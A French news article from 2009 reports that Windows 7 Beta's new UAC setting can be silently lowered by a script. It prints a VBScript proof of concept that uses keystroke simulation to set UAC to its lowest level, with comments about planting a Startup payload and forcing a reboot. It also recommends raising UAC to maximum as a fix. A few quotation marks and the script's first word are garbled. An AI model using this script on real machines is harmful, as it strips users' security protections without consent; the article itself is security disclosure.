Windows 7 Beta : l'utilisation plus souple de l'UAC provoque une faille...
Christophe Lavalle
Lundi 02 février 2009, 18:29
Lundi 02 février 2009, 18:29
(12)

Pour rappel, l'UAC permet de protéger le système lors d'une modification majeure telle que l'installation d'une application, d'un module, d'une modification de paramètres systèmes (y compris la base de registre)... Une alerte bloquant l'utilisation de l'ordinateur est alors affichée et l'utilisateur doit autoriser ou refuser la modification.
Cette alerte présente les informations suivantes :
- auteur du logiciel ou de la tentative de modification de paramètres systèmes
- si le logiciel qui s'exécute est signé ou pas (couleur de l'alerte différente)
- le nom du programme
- l'icône du programme
Dans le but d'être réceptif aux arguments suivants des utilisateurs : "les utilisateurs ne comprennent pas cette mesure" et « l'UAC a tendance à demander l'autorisation un peu trop souvent", Microsoft a alor » instauré dans Windows 7 une nouvelle graduation dans la configuration de l'UAC.
- l'application est signée : on peut demander silencieusement les droits d'administrateur pour l'application
- l'application n'est pas signée : une alerte en mode bureau standard est proposée à l'utilisateur
« et WshShell = WScript.CreateObject("WScript.Shell")
'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder
'// Reboot the system
'// WshShell.Run « shutdown /r /f »
En conclusion, un malware peut donc obtenir les droits d'administrateur très facilement et ce en quelques lignes de code.
Les testeurs ont bien entendu remonté l'information au plus vite mais, se sont retrouvés face à une situation étrange. La réponse de Microsoft fut que ce bug est un choix de conception. Autrement dit, ce bug n'est pas un bug car la situation émane d'un choix délibéré de l'éditeur.
Pour le moment, il suffit de mettre le niveau de protection dans le panneau de configuration de l'UAC au maximum. Son fonctionnement sera alors semblable à celui de Windows Vista avec le niveau de sécurité qui l'accompagne.
Nul doute que Microsoft devrait revoir sa stratégie sur ce point de sécurité qui semble avant tout un oubli dans les scénario de tests de la firme de Redmond...
